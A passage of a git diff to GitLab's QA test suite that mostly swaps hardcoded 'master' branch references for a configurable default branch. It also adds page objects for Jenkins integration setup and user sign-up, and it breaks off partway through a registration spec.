view 'app/views/shared/integrations/_index.html.haml' do
- element :prometheus_link, '{ data: { qa_selector: "#{integration.to_param' # rubocop:disable QA/ElementWithPattern
- element :jira_link, '{ data: { qa_selector: "#{integration.to_param' # rubocop:disable QA/ElementWithPattern
+ element :prometheus_link, 'data: { qa_selector: "#{integration.to_param' # rubocop:disable QA/ElementWithPattern
+ element :jira_link, 'data: { qa_selector: "#{integration.to_param' # rubocop:disable QA/ElementWithPattern
end
def click_on_prometheus_integration
diff --git a/qa/qa/page/project/settings/protected_branches.rb b/qa/qa/page/project/settings/protected_branches.rb
index 7315bfb76a5..6616921f34c 100644
--- a/qa/qa/page/project/settings/protected_branches.rb
+++ b/qa/qa/page/project/settings/protected_branches.rb
@@ -58,7 +58,7 @@ module QA
allowed[:roles] = Resource::ProtectedBranch::Roles::NO_ONE unless allowed.key?(:roles)
within_element(:"allowed_to_#{action}_dropdown") do
- click_on allowed[:roles]
+ click_on allowed[:roles][:description]
allowed[:users].each { |user| click_on user.username } if allowed.key?(:users)
allowed[:groups].each { |group| click_on group.name } if allowed.key?(:groups)
end
diff --git a/qa/qa/page/project/settings/services/jenkins.rb b/qa/qa/page/project/settings/services/jenkins.rb
new file mode 100644
index 00000000000..3d7da8d0161
--- /dev/null
+++ b/qa/qa/page/project/settings/services/jenkins.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Settings
+ module Services
+ class Jenkins < QA::Page::Base
+ view 'app/assets/javascripts/integrations/edit/components/dynamic_field.vue' do
+ element :jenkins_url_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
+ element :project_name_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
+ element :username_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
+ element :password_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
+ end
+
+ view 'app/assets/javascripts/integrations/edit/components/integration_form.vue' do
+ element :save_changes_button
+ end
+
+ def setup_service_with(jenkins_url:, project_name:)
+ set_jenkins_url(jenkins_url)
+ set_project_name(project_name)
+ set_username('admin')
+ set_password('password')
+ click_save_changes_button
+ end
+
+ private
+
+ def set_jenkins_url(jenkins_url)
+ fill_element(:jenkins_url_field, jenkins_url)
+ end
+
+ def set_project_name(project_name)
+ fill_element(:project_name_field, project_name)
+ end
+
+ def set_username(username)
+ fill_element(:username_field, username)
+ end
+
+ def set_password(password)
+ fill_element(:password_field, password)
+ end
+
+ def click_save_changes_button
+ click_element :save_changes_button
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/show.rb b/qa/qa/page/project/show.rb
index 4f0cf55c127..d2c258b90b5 100644
--- a/qa/qa/page/project/show.rb
+++ b/qa/qa/page/project/show.rb
@@ -34,6 +34,7 @@ module QA
view 'app/views/projects/_home_panel.html.haml' do
element :forked_from_link
element :project_name_content
+ element :project_id_content
end
view 'app/views/projects/_files.html.haml' do
@@ -157,6 +158,10 @@ module QA
find_element(:project_name_content).text
end
+ def project_id
+ find_element(:project_id_content).text.delete('Project ID: ')
+ end
+
def switch_to_branch(branch_name)
find_element(:branches_select).click
diff --git a/qa/qa/page/project/wiki/show.rb b/qa/qa/page/project/wiki/show.rb
index 61b0d202a76..d9e0783a581 100644
--- a/qa/qa/page/project/wiki/show.rb
+++ b/qa/qa/page/project/wiki/show.rb
@@ -59,6 +59,10 @@ module QA
has_element?(:wiki_page_content, content)
end
+ def has_no_content?(content)
+ has_no_element?(:wiki_page_content, content)
+ end
+
def has_no_page?
has_element? :create_first_page_link
end
diff --git a/qa/qa/page/registration/sign_up.rb b/qa/qa/page/registration/sign_up.rb
new file mode 100644
index 00000000000..0fb4b466e62
--- /dev/null
+++ b/qa/qa/page/registration/sign_up.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Registration
+ class SignUp < Page::Base
+ view 'app/views/devise/shared/_signup_box.html.haml' do
+ element :new_user_first_name_field
+ element :new_user_last_name_field
+ element :new_user_username_field
+ element :new_user_email_field
+ element :new_user_password_field
+ element :new_user_register_button
+ end
+
+ view 'app/views/registrations/welcome/show.html.haml' do
+ element :get_started_button
+ end
+
+ def fill_new_user_first_name_field(first_name)
+ fill_element :new_user_first_name_field, first_name
+ end
+
+ def fill_new_user_last_name_field(last_name)
+ fill_element :new_user_last_name_field, last_name
+ end
+
+ def fill_new_user_username_field(username)
+ fill_element :new_user_username_field, username
+ end
+
+ def fill_new_user_email_field(email)
+ fill_element :new_user_email_field, email
+ end
+
+ def fill_new_user_password_field(password)
+ fill_element :new_user_password_field, password
+ end
+
+ def click_new_user_register_button
+ click_element :new_user_register_button if has_element?(:new_user_register_button)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/registration/welcome.rb b/qa/qa/page/registration/welcome.rb
new file mode 100644
index 00000000000..394e94b6414
--- /dev/null
+++ b/qa/qa/page/registration/welcome.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Registration
+ class Welcome < Page::Base
+ view 'app/views/registrations/welcome/show.html.haml' do
+ element :get_started_button
+ end
+
+ def click_get_started_button_if_available
+ if has_element?(:get_started_button)
+ Support::Retrier.retry_until do
+ click_element :get_started_button
+ has_no_element?(:get_started_button)
+ end
+ end
+ end
+ end
+ end
+ end
+end
+
+QA::Page::Registration::Welcome.prepend_if_ee('QA::EE::Page::Registration::Welcome')
diff --git a/qa/qa/resource/events/project.rb b/qa/qa/resource/events/project.rb
index 8c97f66c663..0348f2f05f5 100644
--- a/qa/qa/resource/events/project.rb
+++ b/qa/qa/resource/events/project.rb
@@ -20,7 +20,7 @@ module QA
end
end
- def wait_for_push_new_branch(branch_name = "master")
+ def wait_for_push_new_branch(branch_name = self.default_branch)
QA::Runtime::Logger.debug(%Q[#{self.class.name} - wait_for_push_new_branch with branch_name "#{branch_name}"])
wait_for_event do
events(action: 'pushed').any? { |event| event.dig(:push_data, :ref) == branch_name }
diff --git a/qa/qa/resource/file.rb b/qa/qa/resource/file.rb
index 0d2bf9890ea..4ca180373f6 100644
--- a/qa/qa/resource/file.rb
+++ b/qa/qa/resource/file.rb
@@ -30,7 +30,7 @@ module QA
end
def branch
- @branch ||= "master"
+ @branch ||= project.default_branch
end
def fabricate!
diff --git a/qa/qa/resource/group.rb b/qa/qa/resource/group.rb
index 2e29ec9a6a7..135c3dea628 100644
--- a/qa/qa/resource/group.rb
+++ b/qa/qa/resource/group.rb
@@ -36,7 +36,6 @@ module QA
Page::Group::New.perform do |group_new|
group_new.set_path(path)
- group_new.set_description(description)
group_new.set_visibility('Public')
group_new.create
end
diff --git a/qa/qa/resource/merge_request.rb b/qa/qa/resource/merge_request.rb
index dca8fb6dc6b..ecf25b797a8 100644
--- a/qa/qa/resource/merge_request.rb
+++ b/qa/qa/resource/merge_request.rb
@@ -34,7 +34,7 @@ module QA
attribute :target do
Repository::ProjectPush.fabricate! do |resource|
resource.project = project
- resource.branch_name = 'master'
+ resource.branch_name = project.default_branch
resource.new_branch = @target_new_branch
resource.remote_branch = target_branch
end
@@ -56,7 +56,6 @@ module QA
@title = 'QA test - merge request'
@description = 'This is a test merge request'
@source_branch = "qa-test-feature-#{SecureRandom.hex(8)}"
- @target_branch = "master"
@assignee = nil
@milestone = nil
@labels = []
@@ -68,7 +67,7 @@ module QA
end
def fabricate!
- populate(:target, :source)
+ populate_target_and_source_if_required
project.visit!
Page::Project::Show.perform(&:new_merge_request)
@@ -89,7 +88,7 @@ module QA
def fabricate_via_api!
resource_web_url(api_get)
rescue ResourceNotFoundError
- populate(:target, :source) unless @no_preparation
+ populate_target_and_source_if_required
super
end
@@ -144,6 +143,12 @@ module QA
super(api_resource)
end
+
+ def populate_target_and_source_if_required
+ @target_branch ||= project.default_branch
+
+ populate(:target, :source) unless @no_preparation
+ end
end
end
end
diff --git a/qa/qa/resource/merge_request_from_fork.rb b/qa/qa/resource/merge_request_from_fork.rb
index d9c86b3b527..b0367df64ed 100644
--- a/qa/qa/resource/merge_request_from_fork.rb
+++ b/qa/qa/resource/merge_request_from_fork.rb
@@ -28,6 +28,10 @@ module QA
Page::Project::Show.perform(&:new_merge_request)
Page::MergeRequest::New.perform(&:create_merge_request)
end
+
+ def fabricate_via_api!
+ raise NotImplementedError
+ end
end
end
end
diff --git a/qa/qa/resource/pipeline.rb b/qa/qa/resource/pipeline.rb
index a115de3e825..907a6cb8558 100644
--- a/qa/qa/resource/pipeline.rb
+++ b/qa/qa/resource/pipeline.rb
@@ -22,7 +22,6 @@ module QA
attribute :variables
def initialize
- @ref = 'master'
@variables = []
end
@@ -34,6 +33,10 @@ module QA
Page::Project::Pipeline::New.perform(&:click_run_pipeline_button)
end
+ def ref
+ project.default_branch
+ end
+
def api_get_path
"/projects/#{project.id}/pipelines/#{id}"
end
diff --git a/qa/qa/resource/project.rb b/qa/qa/resource/project.rb
index 163c0b40bb5..a92f7912b9e 100644
--- a/qa/qa/resource/project.rb
+++ b/qa/qa/resource/project.rb
@@ -15,7 +15,6 @@ module QA
attr_writer :github_personal_access_token
attr_writer :github_repository_path
- attribute :default_branch
attribute :id
attribute :name
attribute :add_name_uuid
@@ -26,6 +25,10 @@ module QA
attribute :template_name
attribute :import
+ attribute :default_branch do
+ api_response[:default_branch] || Runtime::Env.default_branch
+ end
+
attribute :group do
Group.fabricate!
end
@@ -200,6 +203,10 @@ module QA
post_body
end
+ def api_delete_path
+ "/projects/#{id}"
+ end
+
def change_repository_storage(new_storage)
put_body = { repository_storage: new_storage }
response = put Runtime::API::Request.new(api_client, api_put_path).url, put_body
diff --git a/qa/qa/resource/protected_branch.rb b/qa/qa/resource/protected_branch.rb
index 9b728fc4c24..51ea9d1c5b9 100644
--- a/qa/qa/resource/protected_branch.rb
+++ b/qa/qa/resource/protected_branch.rb
@@ -8,7 +8,6 @@ module QA
attr_accessor :branch_name,
:allowed_to_push,
:allowed_to_merge,
- :protected,
:new_branch,
:require_code_owner_approval
@@ -20,13 +19,14 @@ module QA
end
attribute :branch do
- Repository::ProjectPush.fabricate! do |project_push|
- project_push.project = project
- project_push.file_name = "new_file-#{SecureRandom.hex(8)}.md"
- project_push.commit_message = 'Add new file'
- project_push.branch_name = branch_name
- project_push.new_branch = true
- project_push.remote_branch = branch_name
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.branch = branch_name
+ commit.start_branch = 'master'
+ commit.commit_message = 'Add new file'
+ commit.add_files([
+ { file_path: "new_file-#{SecureRandom.hex(8)}.md", content: 'new file' }
+ ])
end
end
@@ -39,16 +39,11 @@ module QA
@allowed_to_merge = {
roles: Resource::ProtectedBranch::Roles::DEVS_AND_MAINTAINERS
}
- @protected = false
- @require_code_owner_approval = true
+ @require_code_owner_approval = false
end
def fabricate!
- if new_branch
- populate(:branch)
-
- project.wait_for_push_new_branch branch_name
- end
+ populate_new_branch_if_required
project.visit!
Page::Project::Menu.perform(&:go_to_repository_settings)
@@ -67,6 +62,12 @@ module QA
end
end
+ def fabricate_via_api!
+ populate_new_branch_if_required
+
+ super
+ end
+
def self.unprotect_via_api!(&block)
self.remove_via_api!(&block)
end
@@ -79,10 +80,49 @@ module QA
"/projects/#{project.id}/protected_branches/#{branch_name}"
end
+ def api_post_path
+ "/projects/#{project.id}/protected_branches"
+ end
+
+ def api_post_body
+ {
+ name: branch_name,
+ code_owner_approval_required: require_code_owner_approval
+ }
+ .merge(allowed_to_push_hash)
+ .merge(allowed_to_merge_hash)
+ end
+
+ def allowed_to_push_hash
+ allowed = {}
+ allowed.merge({ push_access_level: allowed_to_push[:roles][:access_level] }) if allowed_to_push.key?(:roles)
+ end
+
+ def allowed_to_merge_hash
+ allowed = {}
+ allowed.merge({ merge_access_level: allowed_to_merge[:roles][:access_level] }) if allowed_to_merge.key?(:roles)
+ end
+
+ def resource_web_url(resource)
+ super
+ rescue ResourceURLMissingError
+ # this particular resource does not expose a web_url property
+ end
+
class Roles
- NO_ONE = 'No one'
- DEVS_AND_MAINTAINERS = 'Developers + Maintainers'
- MAINTAINERS = 'Maintainers'
+ NO_ONE = { description: 'No one', access_level: 0 }.freeze
+ DEVS_AND_MAINTAINERS = { description: 'Developers + Maintainers', access_level: 30 }.freeze
+ MAINTAINERS = { description: 'Maintainers', access_level: 40 }.freeze
+ end
+
+ private
+
+ def populate_new_branch_if_required
+ return unless new_branch
+
+ populate(:branch)
+
+ project.wait_for_push_new_branch(branch_name)
end
end
end
diff --git a/qa/qa/resource/repository/commit.rb b/qa/qa/resource/repository/commit.rb
index d15210aa736..f5dba164de6 100644
--- a/qa/qa/resource/repository/commit.rb
+++ b/qa/qa/resource/repository/commit.rb
@@ -9,7 +9,8 @@ module QA
:branch,
:commit_message,
:file_path,
- :sha
+ :sha,
+ :start_branch
attribute :short_id
@@ -80,12 +81,12 @@ module QA
def api_post_body
{
- branch: @branch || "master",
+ branch: @branch || project.default_branch,
author_email: @author_email || Runtime::User.default_email,
author_name: @author_name || Runtime::User.username,
commit_message: commit_message,
actions: actions
- }
+ }.merge(new_branch)
end
def actions
@@ -104,6 +105,14 @@ module QA
raise ArgumentError, "Please provide an array of hashes e.g.: [{file_path: 'file1', content: 'foo'}]"
end
end
+
+ def new_branch
+ return {} unless start_branch
+
+ {
+ start_branch: start_branch
+ }
+ end
end
end
end
diff --git a/qa/qa/resource/repository/project_push.rb b/qa/qa/resource/repository/project_push.rb
index c46921ad0c7..ef4873e9483 100644
--- a/qa/qa/resource/repository/project_push.rb
+++ b/qa/qa/resource/repository/project_push.rb
@@ -23,7 +23,6 @@ module QA
@file_name = "file-#{SecureRandom.hex(8)}.txt"
@file_content = '# This is test project'
@commit_message = "This is a test commit"
- @branch_name = 'master'
@new_branch = true
@project_name = 'project-with-code'
@wait_for_push = true
@@ -39,6 +38,8 @@ module QA
end
def fabricate!
+ @branch_name ||= project.default_branch
+
super
project.wait_for_push @commit_message if @wait_for_push
end
diff --git a/qa/qa/resource/repository/push.rb b/qa/qa/resource/repository/push.rb
index 5266f8b9bea..f5b6040d927 100644
--- a/qa/qa/resource/repository/push.rb
+++ b/qa/qa/resource/repository/push.rb
@@ -17,7 +17,6 @@ module QA
@file_name = "file-#{SecureRandom.hex(8)}.txt"
@file_content = '# This is test file'
@commit_message = "This is a test commit"
- @branch_name = 'master'
@new_branch = true
@repository_http_uri = ""
@ssh_key = nil
@@ -78,6 +77,8 @@ module QA
@output += repository.clone
repository.configure_identity(name, email)
+ @branch_name ||= default_branch(repository)
+
@output += repository.checkout(branch_name, new_branch: new_branch)
if @tag_name
@@ -105,6 +106,10 @@ module QA
private
+ def default_branch(repository)
+ repository.remote_branches.last || Runtime::Env.default_branch
+ end
+
def commit_to(repository)
@gpg_key_id.nil? ? repository.commit(@commit_message) : repository.commit_with_gpg(@commit_message)
end
diff --git a/qa/qa/resource/repository/wiki_push.rb b/qa/qa/resource/repository/wiki_push.rb
index edf76c7cd78..f188e52c969 100644
--- a/qa/qa/resource/repository/wiki_push.rb
+++ b/qa/qa/resource/repository/wiki_push.rb
@@ -12,11 +12,14 @@ module QA
end
end
+ def branch_name
+ @branch_name ||= wiki.project.default_branch
+ end
+
def initialize
@file_name = 'Home.md'
@file_content = 'This line was created using git push'
@commit_message = 'Updating using git push'
- @branch_name = 'master'
@new_branch = false
end
diff --git a/qa/qa/resource/sandbox.rb b/qa/qa/resource/sandbox.rb
index b351d92092f..ae183d55d89 100644
--- a/qa/qa/resource/sandbox.rb
+++ b/qa/qa/resource/sandbox.rb
@@ -31,7 +31,6 @@ module QA
Page::Group::New.perform do |group|
group.set_path(path)
- group.set_description('GitLab QA Sandbox Group')
group.set_visibility('Public')
group.create
end
@@ -76,6 +75,19 @@ module QA
visibility: 'public'
}
end
+
+ def api_put_path
+ "/groups/#{id}"
+ end
+
+ def update_group_setting(group_setting:, value:)
+ put_body = { "#{group_setting}": value }
+ response = put Runtime::API::Request.new(api_client, api_put_path).url, put_body
+
+ unless response.code == HTTP_STATUS_OK
+ raise ResourceUpdateFailedError, "Could not update #{group_setting} to #{value}. Request returned (#{response.code}): `#{response}`."
+ end
+ end
end
end
end
diff --git a/qa/qa/resource/user.rb b/qa/qa/resource/user.rb
index ca30ff12480..f95a68918dc 100644
--- a/qa/qa/resource/user.rb
+++ b/qa/qa/resource/user.rb
@@ -7,7 +7,7 @@ module QA
class User < Base
attr_reader :unique_id
attr_writer :username, :password
- attr_accessor :admin, :provider, :extern_uid
+ attr_accessor :admin, :provider, :extern_uid, :expect_fabrication_success
attribute :id
attribute :name
@@ -18,6 +18,7 @@ module QA
def initialize
@admin = false
@unique_id = SecureRandom.hex(8)
+ @expect_fabrication_success = true
end
def admin?
@@ -74,12 +75,7 @@ module QA
login.sign_in_using_credentials(user: self)
end
else
- Page::Main::Login.perform do |login|
- login.switch_to_register_page
- end
- Page::Main::SignUp.perform do |signup|
- signup.sign_up!(self)
- end
+ Flow::SignUp.sign_up!(self)
end
end
diff --git a/qa/qa/runtime/browser.rb b/qa/qa/runtime/browser.rb
index 2bd0c6ae00e..a3fce8bff88 100644
--- a/qa/qa/runtime/browser.rb
+++ b/qa/qa/runtime/browser.rb
@@ -98,6 +98,10 @@ module QA
# Disable /dev/shm use in CI. See https://gitlab.com/gitlab-org/gitlab/issues/4252
options.add_argument("disable-dev-shm-usage") if QA::Runtime::Env.running_in_ci?
+
+ # Specify the user-agent to allow challenges to be bypassed
+ # See https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/11938
+ options.add_argument("user-agent=#{QA::Runtime::Env.user_agent}") if QA::Runtime::Env.user_agent
end
# Use the same profile on QA runs if CHROME_REUSE_PROFILE is true.
diff --git a/qa/qa/runtime/env.rb b/qa/qa/runtime/env.rb
index 4c4dd416093..24be4e4f978 100644
--- a/qa/qa/runtime/env.rb
+++ b/qa/qa/runtime/env.rb
@@ -63,7 +63,7 @@ module QA
end
def pipeline_from_project_name
- ci_project_name.to_s.start_with?('gitlab-qa') ? 'master' : ci_project_name
+ ci_project_name.to_s.start_with?('gitlab-qa') ? Runtime::Env.default_branch : ci_project_name
end
def additional_repository_storage
@@ -102,6 +102,10 @@ module QA
enabled?(ENV['QA_DEBUG'], default: false)
end
+ def default_branch
+ ENV['QA_DEFAULT_BRANCH'] || 'master'
+ end
+
def log_destination
ENV['QA_LOG_PATH'] || $stdout
end
@@ -395,6 +399,14 @@ module QA
ENV['DEPLOY_VERSION']
end
+ def user_agent
+ ENV['GITLAB_QA_USER_AGENT']
+ end
+
+ def geo_environment?
+ QA::Runtime::Scenario.attributes.include?(:geo_secondary_address)
+ end
+
private
def remote_grid_credentials
diff --git a/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
index 6654a35915f..89bf92cd3af 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
@@ -37,7 +37,7 @@ module QA
Support::Waiter.wait_until(retry_on_exception: true, sleep_interval: 5) do
Resource::Repository::Commit.fabricate_via_api! do |commits|
commits.project = project
- commits.sha = 'master'
+ commits.sha = project.default_branch
end
end
diff --git a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
index e96b9ad9258..631056ed52e 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
@@ -45,7 +45,7 @@ module QA
# Note: This test doesn't have the :orchestrated tag because it runs in the Test::Integration::Praefect
# scenario with other tests that aren't considered orchestrated.
# It also runs on staging using nfs-file07 as non-cluster storage and nfs-file22 as cluster/praefect storage
- context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/974' do
+ context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/974', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284645', type: :investigating } do
let(:source_storage) { { type: :gitaly, name: QA::Runtime::Env.non_cluster_repository_storage } }
let(:destination_storage) { { type: :praefect, name: QA::Runtime::Env.praefect_repository_storage } }
let(:project) do
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
index 82a06780830..2391154030b 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
@@ -7,16 +7,18 @@ module QA
#
# git config --global receive.advertisepushoptions true
- branch = "push-options-test-#{SecureRandom.hex(8)}"
- title = "MR push options test #{SecureRandom.hex(8)}"
- commit_message = 'Add README.md'
+ let(:branch) { "push-options-test-#{SecureRandom.hex(8)}" }
+ let(:title) { "MR push options test #{SecureRandom.hex(8)}" }
+ let(:commit_message) { 'Add README.md' }
- project = Resource::Project.fabricate_via_api! do |project|
- project.name = 'merge-request-push-options'
- project.initialize_with_readme = true
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'merge-request-push-options'
+ project.initialize_with_readme = true
+ end
end
- it 'sets labels', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1032' do
+ def create_new_mr_via_push
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
push.commit_message = commit_message
@@ -27,6 +29,10 @@ module QA
label: %w[one two three]
}
end
+ end
+
+ it 'sets labels', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1032' do
+ create_new_mr_via_push
merge_request = project.merge_request_with_title(title)
@@ -35,7 +41,11 @@ module QA
end
context 'when labels are set already' do
- it 'removes them', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1033' do
+ before do
+ create_new_mr_via_push
+ end
+
+ it 'removes them on subsequent push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1033' do
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
push.file_content = "Unlabel test #{SecureRandom.hex(8)}"
diff --git a/qa/qa/specs/features/api/3_create/repository/files_spec.rb b/qa/qa/specs/features/api/3_create/repository/files_spec.rb
index f539aae9b29..1099234537a 100644
--- a/qa/qa/specs/features/api/3_create/repository/files_spec.rb
+++ b/qa/qa/specs/features/api/3_create/repository/files_spec.rb
@@ -21,27 +21,29 @@ module QA
a_hash_including(name: project_name, path: project_name)
)
+ default_branch = json_body[:default_branch].to_s.empty? ? Runtime::Env.default_branch : json_body[:default_branch]
+
create_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/README.md")
- post create_file_request.url, branch: 'master', content: 'Hello world', commit_message: 'Add README.md'
+ post create_file_request.url, branch: default_branch, content: 'Hello world', commit_message: 'Add README.md'
expect_status(201)
expect(json_body).to match(
- a_hash_including(branch: 'master', file_path: 'README.md')
+ a_hash_including(branch: default_branch, file_path: 'README.md')
)
- get_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/README.md", ref: 'master')
+ get_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/README.md", ref: default_branch)
get get_file_request.url
expect_status(200)
expect(json_body).to match(
a_hash_including(
- ref: 'master',
+ ref: default_branch,
file_path: 'README.md', file_name: 'README.md',
encoding: 'base64', content: 'SGVsbG8gd29ybGQ='
)
)
- delete_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/README.md", branch: 'master', commit_message: 'Remove README.md')
+ delete_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/README.md", branch: default_branch, commit_message: 'Remove README.md')
delete delete_file_request.url
expect_status(204)
@@ -80,10 +82,12 @@ module QA
create_project_request = Runtime::API::Request.new(@api_client, '/projects')
post create_project_request.url, path: project_name, name: project_name
+ default_branch = json_body[:default_branch].to_s.empty? ? Runtime::Env.default_branch : json_body[:default_branch]
+
create_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/test.svg")
- post create_file_request.url, branch: 'master', content: svg_file, commit_message: 'Add test.svg'
+ post create_file_request.url, branch: default_branch, content: svg_file, commit_message: 'Add test.svg'
- get_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/test.svg/raw", ref: 'master')
+ get_file_request = Runtime::API::Request.new(@api_client, "/projects/#{sanitized_project_path}/repository/files/test.svg/raw", ref: default_branch)
3.times do
response = get get_file_request.url
diff --git a/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb b/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb
index 0bbb0ed897a..1d1b765bb9f 100644
--- a/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb
+++ b/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb
@@ -42,7 +42,7 @@ module QA
end
let!(:pipeline_id) do
- pipeline_create_request = Runtime::API::Request.new(api_client, "/projects/#{project.id}/pipeline?ref=master")
+ pipeline_create_request = Runtime::API::Request.new(api_client, "/projects/#{project.id}/pipeline?ref=#{project.default_branch}")
JSON.parse(post(pipeline_create_request.url, nil))['id']
end
@@ -65,6 +65,9 @@ module QA
deleted_pipeline = pipeline
!pipeline.empty?
end
+
+ raise "Pipeline response does not have a 'message' key: #{deleted_pipeline}" unless deleted_pipeline&.key?('message')
+
expect(deleted_pipeline['message'].downcase).to have_content('404 not found')
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
index 163469e1e88..e38a9f47bd6 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
@@ -81,7 +81,7 @@ module QA
recovery_code = two_fa_auth.recovery_codes.sample
- two_fa_auth.click_proceed_button
+ two_fa_auth.click_copy_and_proceed
recovery_code
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb
index 7f3c3049499..f6d2492c011 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb
@@ -56,7 +56,7 @@ module QA
otp = QA::Support::OTP.new(two_fa_auth.otp_secret_content)
two_fa_auth.set_pin_code(otp.fresh_otp)
two_fa_auth.click_register_2fa_app_button
- two_fa_auth.click_proceed_button
+ two_fa_auth.click_copy_and_proceed
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
index 12a1b419f8b..f81dfe4b5c8 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
@@ -99,9 +99,9 @@ module QA
two_fa_auth.set_pin_code(@otp.fresh_otp)
two_fa_auth.click_register_2fa_app_button
- expect(two_fa_auth).to have_text('Congratulations! You have enabled Two-factor Authentication!')
+ two_fa_auth.click_copy_and_proceed
- two_fa_auth.click_proceed_button
+ expect(two_fa_auth).to have_text('Congratulations! You have enabled Two-factor Authentication!')
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
index e4ac59cf5e0..6cd486bc84b 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :orchestrated, :instance_saml do
describe 'Instance wide SAML SSO' do
- it 'User logs in to gitlab with SAML SSO', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/671' do
+ it 'user logs in to gitlab with SAML SSO', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/671' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
Page::Main::Login.perform(&:sign_in_with_saml)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
index 2bb03b6154f..d58857f6da2 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
@@ -26,7 +26,7 @@ module QA
ldap_username = Runtime::Env.ldap_username
Runtime::Env.ldap_username = nil
- disable_require_admin_approval_after_user_signup
+ set_require_admin_approval_after_user_signup_via_api(false)
Runtime::Env.ldap_username = ldap_username
end
@@ -39,60 +39,136 @@ module QA
end
describe 'standard', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/936' do
- before(:all) do
- disable_require_admin_approval_after_user_signup
- end
+ context 'when admin approval is not required' do
+ before(:all) do
+ set_require_admin_approval_after_user_signup_via_api(false)
+ end
- it_behaves_like 'registration and login'
+ it_behaves_like 'registration and login'
+
+ context 'when user account is deleted' do
+ let(:user) do
